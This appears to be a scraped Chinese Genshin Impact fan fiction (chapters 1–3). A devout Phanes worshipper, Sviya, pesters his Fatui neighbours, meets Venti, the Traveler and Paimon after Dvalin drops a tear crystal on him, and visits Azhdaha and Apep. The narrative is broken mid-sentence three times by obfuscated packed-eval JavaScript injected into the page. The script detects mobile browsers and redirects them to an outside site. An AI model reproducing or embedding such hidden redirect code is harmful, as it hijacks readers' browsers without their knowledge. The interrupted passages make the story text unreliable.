《报告法大王![原神]》 1. 第 1 章 赞美原初!一切荣耀归于统帅万国的君王,伟大的法涅斯大王! 斯威亚打开窗户,向着遥远的漆黑天空伸开双臂热切祈祷。 蒙德城的早晨四点,天比深渊教团的良心还要黑。歌德大酒店的这一排窗户,只有斯威亚这里亮着暖黄的灯光,在凌晨的黑暗里仍眨巴眨巴地彰显存在。 斯威亚双手合十,恭敬地对着漆黑的天空鞠了一躬,大声祈祷:“我已睡醒,感觉良好!感谢您让我又活过了一天!虽然我也不知道您为什么让我活这么久,但既然您安排了,我就继续活着!今天也会好好为您服务!” 祷告完毕,他心满意足地看了眼窗外。 隔壁的灯果然亮了。 “我求求你别早上祷了。” 幽幽的男声从墙壁那头顺着风声传来,带着一股生无可恋的绝望:“这还不到四点钟!昨天至少还是四点整才祷告。斯威亚先生,同样是信徒,我理解你的虔诚,但是我求求你了,你都上夜班了,能消停点吗?你的神明不会因为信徒晚祷告一分钟就失望的。” 斯威亚对着墙壁大方的招手,精神头十足:“早上好米哈伊尔,难得看见你们早睡早起,现在的年轻人可太喜欢睡懒觉了,这很不好。至于歇口气,信仰是不容许歇口气的!柳德米拉醒了吗?正好,我来给你们讲讲法大王用石子击落尼伯龙根的恩情故事吧——” “我真是多余跟你说这些。” 墙壁传来一声巨响,叮铃哐啷像是床头柜上的闹钟、水杯、还有不知道什么小物件集体跳楼的声音。顺着穿堂风,斯威亚隐隐听到这个年轻的愚人众正向另一个被吵醒的同僚抱怨,声音里带着被恶毒扰民邻居蹂躏后的绝望: “蒙德城里面都是些什么奇形怪状的家伙啊……巴巴托斯都不管管的吗?” 斯威亚耸耸肩。 不懂高天之主宰高洁美妙强大善良的无知人类哦,居然把他误认为巴巴托斯的手下!虽说蒙德是自由之城,虽说巴巴托斯确实对子民管理的风格是放手,虽说他现在确实住在巴巴托斯的地盘上,吃着巴巴托斯子民种的粮食,还在巴巴托斯子民的酒馆里打工。 但这一切都是法大王的安排! 是那既定的命运驱使他来到此地,泯然于人群。 是伟大的原初让他潜伏于此,是伟大的天理让他隐姓埋名,至于为什么要每天凌晨四点吵醒隔壁的愚人众——那还用问吗? 凌晨四点是每一个崭新一天的开端,是万物重生的伊始! 这群被冰神娇惯而惰怠、不知时间之珍贵、也不知误认神明之荒谬的小小人类哦,竟然愚钝到对法大王的教诲视若无睹,偷偷睡懒觉,还大肆发表不敬的言论! 神是仁慈的,神不会介意地上生灵的愚钝,但虔诚的信徒有责任引领迷途的羔羊,将陷于囹圄的羔羊指引向正确的道路。 于是斯威亚慈爱地看向紧闭的窗户,隔空祝愿: “愿你不被睡眠的阴霾所环绕,精神不振的米哈伊尔。” “不是,到底是被谁害的啊!还有,谁说我不要睡觉了!你能不能滚啊!!” “可怜的米哈伊尔都已经发了疯。”斯威亚倒吸一口凉气,关心道,“多喝点丝瓜汤吧。” 砰——! 回应他的,是愚人众使节气势汹汹的关窗声。 斯威亚摇摇头,年轻人果然还是肝火太旺,得提醒冰之女皇让她的士兵多喝点丝瓜汤,去去火气……或许还有点水土不服? 算了,没时间耽误了,接下来登场的可是斯威亚数百年来雷打不动的每日仪式。 斯威亚小心翼翼地点燃灶台的炉膛,火苗舔着锅底,发出噼啪的轻响。他从阳台虔诚地捧回那只每天除了做饭时间以外都在汲取天地日月精华的铁锅——这锅跟了他五百年,锅底的黑垢都是历史的沉淀。 然后,双手从鸡蛋箱内捧起一枚圆润的鸡蛋。 月光透过窗户洒在蛋壳上,映出一层苍白的光晕。 这可不是普通的鸡蛋! 这鸡蛋,可是帝王之征啊! 这是法大王赐予他的每日神谕!是原初的启示!是天理的回响!是一枚即将决定今天运势的占卜工具! 只可惜不能做成完美的水煮蛋。 当然,如果水煮蛋不那么干巴,他也是会从煎蛋派立马投敌到煮蛋派的。毕竟圆润完整的卵形,才是对法大王创世之功的最好致敬。完整、完美、无瑕——就像法大王创造的一切和祂的本貌。 但上次吃煮鸡蛋的悲惨经历让斯维亚铭记至今,那天他差点没能及时赶回天使的馈赠打卡上班。 斯威亚永远不会忘记那份窒息感,干涩的蛋黄死死卡在他的喉咙里,噎得他翻白眼,等他好不容易跑到酒馆咽下那滋润的甘露时,斯威亚已经眼冒金星,差点以为伟大的法涅斯大王终于看见他这卑微的信徒,要提前唤他回天空岛了。 无力如他,只能寄希望于伟大的法涅斯大王能够施展神力,将饱满的水煮蛋改造成和煎蛋一样美味的口感。 不过显然,伟大的原初无情拒绝了这一无理的请求。 斯威亚为自己贪图口腹之欲而羞愧不已,后来他仔细反思自己的愚行之后,才恍然大悟:这其实是原初的教诲! 不愧是伟大的原初! 竟然能用如此简单的平凡小事向他这愚昧无知的信徒传播了世间的真理! 睿智如原初,怎不会想到煎蛋更好吃自然也是自然之理的一部分。煎蛋需要油,需要火候,需要翻面的勇气,而煮蛋只需要打开锅盖,开火,然后把蛋扔进水里就好。 如此简单的烹饪方式自然不能给予过分的美味,否则鸡蛋天枰的砝码将无理由咕噜咕噜向水煮蛋滚去,那煎蛋将沦为XP党的悲鸣,被水煮蛋派狠狠踩头、永世不得翻身! 这太可怕了! 正是为了避免这种一边倒的论战,伟大的法涅斯大王出手了!甚至不惜让能象征自己出生之卵壳的圆润水煮蛋被煎蛋的丰富味蕾所压倒! 何其无私、何其伟大! 不过,如他这般卑微的信徒还是有着小小的私心,对口腹之欲的贪图和被卡喉咙的过往还萦绕在的心里。斯威亚口嫌体正直地选择了煎蛋作为今天的早餐,希望伟大善良且仁慈的法大王能够原谅他对圆形完美无缺之物的大不敬。 再次忏悔过后,斯威亚敲开蛋壳。 “啪——” 蛋液滑入锅中,油脂滋滋作响,边缘迅速凝固,泛起一圈金黄的焦边。 火候要适中,油温要刚好,翻面要稳准狠。斯威亚屏住呼吸,双眼死死盯着煎锅里的鸡蛋,瞳孔随着蛋清的扩散而收缩。整个世界都消失了,只剩下一口锅、一枚蛋、一团火。 ——如果蛋黄不够圆润,说明法涅斯大人今天要考验他。 ——如果蛋黄完整的像是一座圆润的孤岛,说明今天会顺利。 锅里的蛋清迅速凝固,鼓起细密的小泡,边缘微微翘起,颜色从透明变成乳白再变成淡淡的金黄。斯威亚满意松了一口气,而中间—— 蛋黄完整。 圆润饱满。 没有一丝破损,没有一丝流散,像一轮小小的太阳,安静地卧在金白色的云朵中央。 完美。 斯威亚看着盘子里那颗蛋黄圆润饱满、火候恰当还毫无瑕疵的煎蛋,眼眶湿润了。 “这么多年了,”他颤抖着声音,像是至冬剧团最动情的高音“您给我的每一天,都是完美的。虽然我不知道现在的您是否能够听见您卑微而又不值一提之信徒的祷告,也不知道您伟岸光正之身躯究竟身处何方,但,我能感觉到!伟大的原初,您通过这颗鸡蛋告诉我——今天,也是无比顺利的一天!” 他拿起叉子,郑重其事地切开鸡蛋。刀锋切入蛋黄,金色的液汁缓缓流出,浸润在雪白的蛋清上,像日出时第一缕阳光洒在龙脊雪山。 咀嚼。 感动。 流泪。 “赞美原初!一切荣耀归于法大王!\O/” 隔壁的米哈伊尔听着这熟悉又聒噪的哭声,在黑暗中翻了个身,木板床发出吱呀一声惨叫,身心饱受摧残的愚人众使节第一万次怒骂这该死蒙德歌德大酒店的缺德隔音效果。 他们之前还悄悄讨论过,这西风骑士团怎么这么大度,以便宜到无异于白送的价格让他们包下了整个酒店——搞半天,最大的问题在这里! 什么“愚人众驻蒙德外交使节团专属下榻处”,什么“享受蒙德最高规格的接待标准”,全都是放屁! 就是为了骗他们进来然后让这个疯子折磨他们! 米哈伊尔忿忿又从床头摸出两只耳塞,认命的塞入耳内。 世界安静了。 只剩下模模糊糊的“一切荣耀”隔着两层耳塞和一面墙,像水底的闷雷,咕噜咕噜地滚过来。 米哈伊尔闭上眼睛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374977|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 快出门吧,快出门吧…… 吃完鸡蛋,斯威亚用面包把盘子擦得干干净净,提瓦特每一粒食物都是法大王的恩赐,浪费是绝对不会被虔诚的信徒所容许的。 然后他拿出那本厚得能砸死人的牛皮本,封面上用金色大字写着:《法大王的恩情还不完》,侧面用刀七扭八歪刻着一段小字,隐隐约约能看出,最后的几个狗爬一般的字写的是“斯威亚”。 他翻开最新的一页,用羽毛笔工整地写下一段文字: “今天鸡蛋圆润完整,蛋黄饱满,焦边均匀,翻面完美。法大王赐予吉兆!愿今日一切顺利!另:米哈伊尔今日关窗声比昨日大了三分,或许应建议冰之女皇关注外派人员的情绪问题。” 写完每日晨后的心得,他合上本子,背起行囊,出门。 此时仍是四点半,远离愚人众驻地的蒙德城人民还在沉睡。 只有斯威亚,迎着晨雾,踏上了为信仰忙碌的一天。 他走在空荡荡的街道上,凌晨的风从城门方向吹来,带着果酒湖湿润的气息和远方蒲公英的味道。猫尾酒馆的招牌在风里轻轻摇晃,一只夜猫蹲在屋檐上,用发光的眼睛盯着这个奇怪的人类。 路过天使的馈赠时,他停下来,对着酒馆的招牌鞠了一躬。 “感谢神明,是您让巴巴托斯给了我一份在大地上隐姓埋名的好工作,”他虔诚地感恩,双手合十,对着黑洞洞的酒馆窗户祝愿,“愿蒙德城的酒业如您的战功那般势不可挡!” 酒馆静悄悄的,连被吵醒的路过猫都避着他,不过斯威亚毫不在意,对待信仰,他总是有着自己的一套理解: 如果伟大的法捏斯回应他,那么说明他的虔诚已被伟大的天理认可;如果法捏斯不回应他,那么就说明他仍需更多的考验。 既然自己赠予蒙德祝福没有得到回应,那就说明伟大的原初已然洞悉万物,自己的一切都在既定的命运轨迹。既然如此,只是行走在正确合适的道路上,自然也无需任何祝福。 斯威亚深吸一口凌晨的冷风,继续往前走。 走到城门口的时候,他看到一个西风骑士正在打哈欠。 是看守城门的小兵,叫劳伦斯,二十出头,黑眼圈重得像被人打了两拳,眼眶下面青紫一片,脑袋一点一点地往下栽,又猛地惊醒。 “早啊,劳伦斯!”斯威亚热情地打招呼。 劳伦斯的哈欠打到一半,卡住了。他转过头,惊奇道:“斯威亚先生,您又这个点出城?” 见到斯威亚点点头,劳伦斯又是震惊又是羡慕:“真厉害,昨晚换班的时候我还听凯亚队长说天使的馈赠是你在当班,还想着今晚去喝一杯,没想到您都下班睡完一觉醒来了,我还在这里值班。不过说真的……这么早起,真的不会困吗?” “凌晨四点可是一天的开始,所谓一日之计在于晨。”斯威亚拍拍他的肩膀,语重心长道,“年轻人热衷于睡觉可不是什么好事,要我说,既然想喝一杯的话,不如干脆把睡觉的时间再压缩一些,这样不就能在一天既享受美酒、又完成工作了?” 他干笑两声,悄悄往后挪了半步,拉开距离:“这么早出门一定有要事要忙,我就不浪费您的时间了——不过,最近还请小心。” 他的表情变得正经了一些,指了指城外的方向:“风魔龙最近开始频繁出现在各处,前几天吹翻了石门那边的好几个商铺和帐篷。如果露宿野外的话,还请格外小心。” 斯威亚遗憾地摇摇头:“真是可惜,今晚还是我当值,看来是没有机会撞上美丽的龙了——先不说了,晚上天使的馈赠见!” 他摆摆手,大步流星走出城门,消失在晨雾中。 劳伦斯看着他的背影,心有余悸般松了一口气。斯威亚是近几年才搬到蒙德城的一个怪人,不是说这人不好相处,恰好相反,斯威亚绝对算个好相处的人,才来没多久很快融入了蒙德。 自由的城邦向来敞开大门,愿意欢迎四方而来的朋友,就算这位朋友的信仰……有些奇怪也是一样。 不过,斯威亚信仰的神明还真是奇怪啊,劳伦斯忍不住摇了摇头。 真不明白,到底是哪国的神明会从凌晨四点开始算作为一天的开始,又有哪家神明象征物是鸡蛋—— 还是水煮蛋。 但还是好奇怪啊。 他之前听愚人众的那个使节抱怨过,斯威亚不是每天早上只做煎蛋的吗? 2. 第 2 章 蒙德城是一个好地方。 包裹城市的果酒湖就是最便捷淡水来源,湖里还有鱼获,北边又和荆夫港有水路相通,而且主城的陆上通路只有一条,就算大军围城,易守难攻,堪称城防典范。 理论上来说,只要巴巴托斯不要哪天抽风向其余六国宣战,蒙德城的居民就可以安然侧卧于整个提瓦特大陆最安全的地方,一边喝酒一边享受人生。 但对斯威亚而言,选择在如今的蒙德城定居,他还有另外一层上的考量。 人类,真的很棒! 看到可怕的魔物,就算害怕也会冲上去,看到同类生病死掉,会不停的掉小珍珠,明明是异族的死亡,却仍然能够感同身受的落泪、甚至为之悲戚。最最最重要的是,他们会计划,会安排,在斯威亚并不短不长的有限生命中,他已经看到了无数长生种虚度光阴浑浑噩噩,执着于某事甚至终其一生也无法解脱,可是人类不会,他们总能走出去。 虽然其中不乏有些不太可爱的、违逆天空旨意肆意妄为之人,但是没关系,错误本身也是自然之理,切除病灶自然同样也是伟大的法涅斯大王的应允之事。 斯威亚利落地挽一个剑花,长剑收入鞘中,转身从果酒湖边离去,身后,深渊法师被斩断的恶余烬正缓缓消弭于空气,又被微风吹走。 托西风骑士团原先时不时清剿蒙德城周边地区的福,除了这些零散的深渊法师和不甚聪慧的丘丘人群落,蒙德城附近基本看不见任何魔物。骑士团那帮年轻人虽然有时候冒冒失失的,干活倒是实在。 只是,有一点很奇怪。 斯威亚停下脚步,目光落在前方一片狼藉的空地上。杂乱的箭矢斜插在泥土里,木质杆身上还沾着晨露;几根粗陋的棒槌横七竖八地躺在地上,尚未燃起的篝火堆被刻意垒成锥形,干柴与枯草交错堆叠,距离火灾只差一个火种。 他蹲下身,指尖拨开一堆散落的箭矢,眉头微微蹙起。 已经近乎于被深渊同化的深渊法师用不着用火取暖,箭矢和棒槌的数量更是远超先前。丘丘人的智力低下,不会无缘无故聚集这么多武器。 斯威亚缓缓站起身,目光越过树梢,望向远处蒙德城的轮廓。 深渊教团这是打算,趁巴巴托斯尚在沉睡,趁东风之龙陷入疯狂,趁西风骑士团人手不足,趁蒙德城内外交困,趁此机会入侵蒙德? 斯威亚歪了歪头,晨光在他侧脸镀上一层淡金色的轮廓。片刻后,他轻轻耸肩,将这个猜测抛诸脑后。 不管了,这种小问题,西风骑士团能够解决。 清晨的太阳已经从东边的山脊露出角来,天空染上青色,像一块被水洗过的蓝宝石,边缘还挂着几颗不肯退场的星星在渐亮的天幕上倔强地闪烁。 斯威亚掏出怀表。 表盖弹开,时针恰如其分地指向冒出头的半个太阳。 他合上表盖,在心里默默规划今日的行程。 接下来该去璃月检查一下摩拉克斯留下的封印,再徒步去沙漠蹲点埋伏一下阿佩普,不知道须弥的神到底是怎么回事,到现在还没有派医生过去。下午他还预约了欧庇克莱歌剧院的审判,晚上还得去挪德卡莱清扫狂猎,那边熟悉的气味有点浓烈过头,原谅自己,斯威亚暂且还不是很想在日子过得不错时面对糟糕的现实。 做完这一切,再在九点前赶回天使的馈赠上班。 多么充实且美好的一天! 斯威亚嘴角微微上扬,刚抬脚要走,一阵狂风毫无征兆地从天而降。 那风来得又急又猛,像是天空突然塌了一块,果酒湖的湖面瞬间被压出一个巨大的凹陷,浪花四溅,劈头盖脸地浇了斯威亚一身。 斯威亚抹了一把脸上的水,甩了甩手,抬头望去。 天空之上,一条巨大的靛青色龙正盘旋而下。 修长的脖颈,流线型的身躯,四只利爪在晨光中泛着寒光,鳞羽是青碧色的,每一片都像是精心打磨过的宝石,随着呼吸微微翕动。 熟读蒙德历史的斯威亚很快认出,这就是东风之龙特瓦林。 但它看起来状态不太对。 龙鳞上隐约有紫色的纹路在蔓延,眼睛里的光芒忽明忽暗,时而清明,时而浑浊。喉咙里发出低沉的呜咽声,像是痛苦,又像是愤怒。 溅了斯威亚一身水的特瓦林并未注意到下面有一个无辜之人被他浇了一身水,没有停留,扭身一转就向着森林飞去。 巨大的身躯掠过湖面,带起的风压让湖水向两侧分开,露出一道深深的沟壑。 咚—— 与此同时,一滴硕大的水滴砸到了斯威亚脑袋上,斯威亚捂住头,低头一看,有什么东西顺着脑袋顶咕噜咕噜滚了下来。 那是一颗血色的结晶,隐隐闪烁着不详的光芒。 斯威亚捂着脑袋。 提瓦特怎么还有这么没素质、还高空抛物的眷属?!要是尼伯龙根的残影看去,会怎么联想我们伟大的法涅斯大王?如果只是连累巴巴托斯的风评也就算了,要是拖累了整个尘世七执政乃至天空岛的形象该如何是好? 特瓦林怎么这么自私! 不行,必须要严厉制止他随意大小流的坏毛病! 斯威亚攥着那颗血泪结晶,抬头望向特瓦林消失的方向,二话不说,拔腿就追。 但特瓦林飞得太快了——斯威亚在心底怒骂,巴巴托斯你个家伙,到底给了这条龙多少祝福? 毋庸置疑,飞比跑快。 等斯威亚追到森林深处,只看到一地狼藉——断裂的树枝像被巨人的手掰断,横七竖八地躺在地上;被狂风压弯的草地形成一道清晰的路径,像是有什么庞然大物刚刚碾过;几棵小树连根拔起,树根还带着新鲜的泥土,在晨光中控诉某位龙的恶举。 还有——两个人? 不对,还外加一个漂浮的小东西。 斯威亚停下脚步,眯起眼睛打量眼前的场景。 一个金色头发的少年,旁边飘着一个白色的小家伙。而在他们对面的绿色身影——好吧,这个斯威亚还真认识。 “是连续三届蝉联【蒙德城最受喜爱吟游诗人】冠军的温迪先生!!” 斯威亚激动得大叫,从随身的背包里掏出那本《法大王的恩情还不完》的厚重本子,迅速翻到最后一页,恭敬地将羽毛笔夹在中间,双手捧着递上前去: “我是您的粉丝!之前在上班时碰到您的时候没好意思,但这次还请不要吝啬在我对人生的记录和参悟的合集中留下您的名字!” 温迪眨了眨眼睛。 他看着眼前这个湿漉漉的男人,又看了看他手里那本厚重册子的封皮,嘴角微微抽搐。 “哈哈……”他干笑两声,语气里带着一丝微妙的尴尬,“早上好呀,斯威亚,怎么这么巧……” 提起这个,斯威亚想起来了自己的匆匆忙忙跑过来的目的。 “说起来,你们有看见风魔龙吗?”斯威亚指着自己的脑袋,表情变得认真起来,“我被误伤了,必须要找他讨个说法。” 一旁一直没有说话的小精灵开了口,指了指天空:“如果是那条非常巨大的龙,它刚刚飞走。” 斯威亚难以置信:“怎么会?他的目标应当是这座森林才对。” 说起来……”温迪适时岔开话题,“我记得斯威亚是猎龙人吧?这是打算追捕特……风魔龙吗?” 斯威亚歪了歪头,将厚重的册子收回背包,动作慢条斯理。 “真是抱歉呢,虽然温迪先生是我的偶像,但我的人生原则是‘什么人做什么事’。”他拉上背包的搭扣,抬眸看向温迪,“而在什么国家,决定我是什么人。” 他顿了顿,语气平淡却认真:“在纳塔我是纳塔人,在蒙德就是蒙德人。所以非常不幸,此地的我只是一个下了夜班后早起出来环湖散步的酒保。” 说到这里,他脸上重新浮起笑容,朝温迪眨了眨眼:“至于我亲爱的偶像,如果你今晚有空去天使的馈赠来两杯,我能给你打五折!” 温迪摆了摆手,他现在可没有心思喝酒。特瓦林的情况比他想得还要严重得多——那些紫色的污浊已经侵蚀到这种程度了吗?还有那两颗血泪…… 更糟糕的是—— 温迪看着完全是状况外的金发旅人和白色漂浮灵,一想到被气走的特瓦林,就有气无力地垂下肩膀:“不了,今天应该没空。” 他还得去哄应激的龙。 斯威亚顿觉不对,后退半步,表情也变得严肃起来:“你不是温迪,你到底是谁!” 蒙德城不可能存在拒绝打折酒水的人! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374978|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更别说不好酒的吟游诗人了! 难道这就是深渊教团的阴谋?伪装成自己人然后将蒙德城从内部瓦解?太狠毒了! 温迪有气无力地叹了口气,肩膀耷拉得更低了:“我没说不要,只是今晚——” 他顿了顿,对上斯威亚警惕的目光,最终还是妥协地摆了摆手:“算了,为了不辜负你的好心,我一定会多喝两杯的。” 斯威亚脸上的警惕瞬间消散,取而代之的是如释重负的笑容。斯威亚松了口气,转过头,看向那两个人,问道:“那这两位是……?” 金色头发的少年依旧满眼警惕,旁边漂浮的小东西则瞪大了眼睛,一脸好奇。 “我是派蒙,这位是旅行者。” “派蒙和……旅行者吗?”斯威亚若有所思,“嘶,这个叫法好像有点耳熟?让我想想……什么时候来着……” “一定是你记错了。”温迪面不改色试图推走斯威亚,“快忙你的祷告去吧,别耽误了正事。” “一打岔差点忘了。” 斯威亚从怀里掏出那颗血泪结晶,在阳光下晃了晃,紫色的光芒幽幽地闪烁着,里面的黑色纹路还在缓缓流动。 “这是特瓦林刚才高空抛物的证据,”他盯着目光开始偏移的温迪,语气认真:“这是特瓦林刚才高空抛物的证据。我晚上才会回蒙德,如果你们见到它,麻烦再帮我转告一声——哭的时候看看地上有没有人。现在蒙德至冬人很多,不要让外地人蛐蛐蒙德龙都素质低下。” 派蒙瞪大眼睛,看着那颗结晶。 “等等等等!”她突然叫起来,“这个、这个是不是特瓦林的血泪?” 斯威亚点头:“对,这条素质低下的龙不仅溅了我一身水,还拿眼泪砸我,我不会放过他的。” 派蒙转头看向空:“旅行者!快拿出来!” 空愣了一下,然后从怀里掏出另一颗结晶。两颗结晶,形状一模一样,唯一不同的是,空手上的那颗更像是纯脆的泪滴,在阳光下折射出清澈的光芒,内里没有一丝杂色。而斯威亚手上的那颗,紫色的光芒幽暗深邃,黑色的纹路像是活物一样在里面缓缓游动。 斯威亚愣住了。 他看看自己手里的,又看看空手里的。 “他泪腺失灵了吗?” 斯威亚语气里带着真诚的困惑:“纳塔有龙医生,如果西风骑士团能带他去蒙德看病,说不定能查查病因。” 温迪张了张嘴,还没说话,派蒙已经抢着回答了:“特瓦林刚才留下的!我们正要去净化它!” 斯威亚的眉毛挑了起来。 “净化?” 派蒙点头:“对!温迪说,这种血泪里蕴含着特瓦林被污染的痛苦,旅行者能够净化它,所以……只要找到特瓦林,说不定就能帮助它!” 斯威亚若有所思,伸出手: “那这颗也给你们吧。反正我除了把它当作高空抛物的证据以外也没什么用。” 派蒙愣了一下:“你愿意给这个给我们?” 斯威亚点头:“当然。对你们有用而对我无用的东西,为什么不给?我没有那么多空地方放一些无意义的东西,倒不如送给你们。” 他把结晶塞到空手里,然后拍了拍他的肩膀。 “那条龙虽然没素质,但就我所知道的那些关于他的故事里,他不是坏龙……总而言之,祝你们成功,我们晚上9点后再见。” “……谢谢你,斯维亚。”温迪笑容勉强,“不过特瓦林他……” “不客气,如果伟大的诗人能够为我传颂真王的威名,我必将能为你斩断一切。” 他打断了温迪的未竟之言,脚步没有丝毫停顿,潇洒地消失在林间小径的尽头。 徒留旅行者和派蒙在原地发愣。 派蒙眨巴眨巴眼睛,看着斯威亚消失的方向,半晌后才喃喃开口:“奇怪的家伙,但是看起来不是坏人!” 她转过头,却看到温迪的表情,此刻竟然带着一丝认真。 “旅行者,派蒙。”温迪深吸一口气,严肃保证:“我发誓,特瓦林绝对是一条懂礼貌有素质、乖巧听话、尊师敬长、嫉恶如仇、行的正坐得直、表里如一的一条好龙!” 派蒙:“……?” “——没人会在意这个吧!” 3. 第 3 章 “真是没想到,这就是所谓的知龙知面不知心吗?” 厚重的声音顺着巨树的地底传上来,带着岩石层叠般的威严,惊得周边飞鹤只敢久久在高空盘旋,翎羽绷紧,不敢落下。 “是吧是吧,看着漂漂亮亮华华丽丽的,之前也见着挺有礼貌的,没想到生气起来是这样的一条龙!” 斯威亚压低了声音,蹲在伏龙树垂落的晶体枝桠旁,神神秘秘地凑近那片金灿灿的叶片:“不过要我说,巴巴托斯估计也做得有点问题——特瓦林多喜欢他啊,从果酒湖哭到森林,一路上被人捡了多少滴泪水。” 巨大的伏龙树抖动了一下,震落几粒细碎晶尘:“当真?” “当然是真的,这可是我亲眼所见!”斯威亚神神秘秘道,“不过说真的,如果我是特瓦林,冷静下来之后只会觉得尴尬的要死。早上出门的时候我就听西风骑士团的人说,特瓦林最近到处对着蒙德的屋子哈气,我觉着应该是想要逼巴巴托斯出来——但是你想啊,那么大一条龙动不动跑到城镇上面哈气,这谁能受得住?” “让自己的私事叨扰凡人,特瓦林还是太年轻了。” 伏龙树的枝桠微微颔首,似有感慨,随即又问:“那巴巴托斯呢?哄好了吗?” “不知道,没现身。” “……哈哈。” “对吧?特瓦林又哭又闹,结果无人理会,简直笑死人了!”斯威亚一拍大腿,眼睛亮得惊人,“答应我,若陀,一定要把这个笑话带给摩拉克斯!你知道我当时没人可以分享这个笑话,憋得有多无助吗?” 伏龙树的枝桠抖了抖,埋在地下的岩龙虽不觉得这个笑话有多好笑,但还是老老实实道:“辛苦你了。我一定分享到位。” 得到许诺,斯威亚正色:“那就再见了,我还得去一趟须弥,最近几天应该不会来璃月了。” “我就说你今天怎么浪费这么多时间在我这岩龙这里——看来,璃月很让你安心啊。” 斯威亚没否认,耸了耸肩:“确实。唯一麻烦点的层岩巨渊现在也被人类的七星封了,理论上出不了什么大事。伟大的法大王会理解我把时间分给更需要我的国度。” “阿佩普吗……” 若陀的声线沉了几分,像是从地底更深处传来。 “时至今日,我仍对你会向她伸出援手,而她也对此不予置评一事,感到不可思议。很难想象她能忍住你这种张口闭口就是‘天理’的家伙。我还以为就算拼个自爆,她也会拉你同归于尽。” “咦,你居然也是这么想的?” 斯威亚看起来更加惊讶:“我还以为从前是目不能视的盲龙的你,更能看穿一条龙的本质呢。” “……后面半句我可以当作没听到。” 伏龙树狠狠抖擞叶子,数不清的金黄色晶体从树上砸在斯威亚头上,后者也不避嫌,直接张口啃掉。 “所以,你到底跟她达成了什么交易?哪怕是反抗天空的赤王都不曾赢得她的青睐,更别说你这个天空的死忠。” 斯威亚挑眉,开口道:“重复一遍,最后一句。” “‘更别说你这个天空的死忠’?” “以后请务必、一定要用这种描述来称呼我,”斯威亚郑重其事,“这是我此生唯一的请求。” “……如果你坚持的话,可以。” “那我们说回正题,阿佩普死忠归死忠,她也没实际做点什么吧?” 斯威亚两手一摊,无辜道:“我一向相信论迹不论心,希望你还记得,地上的七国之中,唯有纳塔的地上没有指引人类的仙灵,阿佩普再怎么叫嚣尼伯龙根的归来,可沙漠那么大一片地方,地上到处都是赤王遗迹,仙灵们也都是在到处乱飞。” “你认为她的本质仍属于温和派?” "这不重要,她的本质怎样都好。但对于我而言,我只会相信自己所看到的东西。如果她只是偶尔过过嘴瘾,但是又在老老实实的消化深渊,我只会当她在宣泄情绪。”斯威亚顿了顿,感同身受般感慨,“啊,阿佩普果然是是傲娇呢,真可爱。” “这有点恶心,还请你快走吧。”伏龙树底发出沉闷的逐客令,地底传来岩石摩擦的躁响 “别开玩笑了,你现在只有半截尾巴露外面。”斯威亚怜悯地瞥了眼山体某处,“本体还在地下啃石头吧?” “快滚吧!算我求你了!” “嚯,还会急眼,那下次见。” 闲暇时光总是短暂的。一不留神就有些超时,愿高天之上的天空岛之主宽恕他耽于享乐时的懈怠——至于现在…… 斯威亚收起怀表,转身。身形凭空消失在围拢的群山之间。下一秒,他已经站在千里之外的阿佩普行宫花园。 偌大的洞穴内看不出半分生机,枯死的树枝上零星栖落着几只赤鹫,羽毛灰扑扑的,像一块块陈旧的疮疤。 “天理的愚忠,无可救药的信者,背信弃义之人,离开我的领地!” “好久不见,阿佩普。” 斯威亚热情打招呼,对那劈头盖脸的詈骂浑不在意。 “虽然这里站不下那么多人,不过,我个人很喜欢第一个称呼,会让我有一种蹭上法涅斯大人热度的幸福感。” 草之龙庞大的身躯盘踞在阴影中,闻言像是生吞了一窝苍蝇般难受,鳞片都紧了几分,隔了好几分钟,阿佩普斟酌着词汇,缓缓开口: “快滚吧,这里没有你想要侍……供奉的主人。” 斯威亚脸上浮起一抹可疑的红晕:“阿佩普,你说话好像有点暧昧欸……法涅斯大人做什么都好,信徒只要会祈祷就行了。啊,赞美法涅斯大王!” “你要干嘛?” 阿佩普早干脆放弃和这个法涅斯入脑的疯子沟通,只想快点把他打发走。 “草神在东边雨林,赤王在我肚子里,花神死了几百年。你要找谁都好,别来扰我的清梦。” “今天早上我被特瓦林高空抛物砸到脑袋了。” “很好!” 阿佩普的龙头猛然抬起,语气中竟带了几分由衷的愉悦: “你带了一个非常有价值的新闻。尼伯龙根在上,蒙主垂怜,我们新生代龙族果然后继有人!”顿了顿,又意犹未尽地追问,“还有别的好消息吗?” ““那倒也没有争气到这个地步。”斯威亚叹了口气,“不过在倒霉方面,它和你倒有些一脉相承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374979|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。哈,难道纯净的元素生命天生就是深渊最好的寄生体吗?” “哈,终于露出马脚了。” 阿佩普的声音骤然冷下来,庞大的身躯缓缓收紧,像一张拉满的弓。 